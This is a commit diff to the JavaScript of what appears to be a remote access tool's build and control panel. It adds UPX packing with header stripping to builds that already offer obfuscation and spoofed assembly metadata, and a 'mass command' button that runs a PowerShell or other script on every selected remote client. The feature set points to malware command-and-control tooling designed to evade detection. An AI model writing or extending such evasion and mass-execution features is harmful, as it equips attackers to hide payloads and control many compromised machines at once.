feat: UPX compression, mass command, Windows-only badges
This commit is contained in:
@@ -103,6 +103,18 @@ if (obfuscateCheckbox && garbleSettingsContainer) {
|
||||
});
|
||||
}
|
||||
|
||||
const upxCheckbox = document.querySelector('input[name="enable-upx"]');
|
||||
const upxSettingsContainer = document.getElementById("upx-settings-container");
|
||||
if (upxCheckbox && upxSettingsContainer) {
|
||||
upxCheckbox.addEventListener("change", () => {
|
||||
if (upxCheckbox.checked) {
|
||||
upxSettingsContainer.classList.remove("hidden");
|
||||
} else {
|
||||
upxSettingsContainer.classList.add("hidden");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
let pendingIconBase64 = null;
|
||||
const iconUpload = document.getElementById("icon-upload");
|
||||
const iconLabel = document.getElementById("icon-label");
|
||||
@@ -294,6 +306,8 @@ form?.addEventListener("submit", async (e) => {
|
||||
assemblyVersion: assemblyVersion || undefined,
|
||||
assemblyCopyright: assemblyCopyright || undefined,
|
||||
iconBase64: pendingIconBase64 || undefined,
|
||||
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
|
||||
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
|
||||
};
|
||||
|
||||
const hasAndroid = platforms.some(p => p.startsWith('android-'));
|
||||
|
||||
@@ -586,6 +586,46 @@ bulkUninstallBtn?.addEventListener("click", async () => {
|
||||
setTimeout(() => loadWithOptions({ force: true }), 1000);
|
||||
});
|
||||
|
||||
const massCmdInput = document.getElementById("mass-cmd-input");
|
||||
const massCmdType = document.getElementById("mass-cmd-type");
|
||||
const massCmdRun = document.getElementById("mass-cmd-run");
|
||||
|
||||
massCmdRun?.addEventListener("click", async () => {
|
||||
const cmd = massCmdInput?.value.trim();
|
||||
if (!cmd) {
|
||||
alert("Enter a command to execute.");
|
||||
return;
|
||||
}
|
||||
const scriptType = massCmdType?.value || "powershell";
|
||||
const count = selectedClients.size;
|
||||
if (count === 0) return;
|
||||
if (!confirm(`Execute on ${count} client(s)?\n\n[${scriptType}] ${cmd}`)) return;
|
||||
|
||||
massCmdRun.disabled = true;
|
||||
massCmdRun.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Running...';
|
||||
let success = 0;
|
||||
for (const clientId of selectedClients) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "script_exec", script: cmd, scriptType }),
|
||||
});
|
||||
if (res.ok) success++;
|
||||
} catch {}
|
||||
}
|
||||
massCmdRun.disabled = false;
|
||||
massCmdRun.innerHTML = '<i class="fa-solid fa-terminal"></i> Execute';
|
||||
alert(`Command sent to ${success}/${count} clients`);
|
||||
});
|
||||
|
||||
massCmdInput?.addEventListener("keydown", (e) => {
|
||||
if (e.key === "Enter") {
|
||||
e.preventDefault();
|
||||
massCmdRun?.click();
|
||||
}
|
||||
});
|
||||
|
||||
window.toggleClientSelection = toggleClientSelection;
|
||||
window.isClientSelected = (clientId) => selectedClients.has(clientId);
|
||||
window.syncClientSelection = syncSelectionState;
|
||||
|
||||
Reference in New Issue
Block a user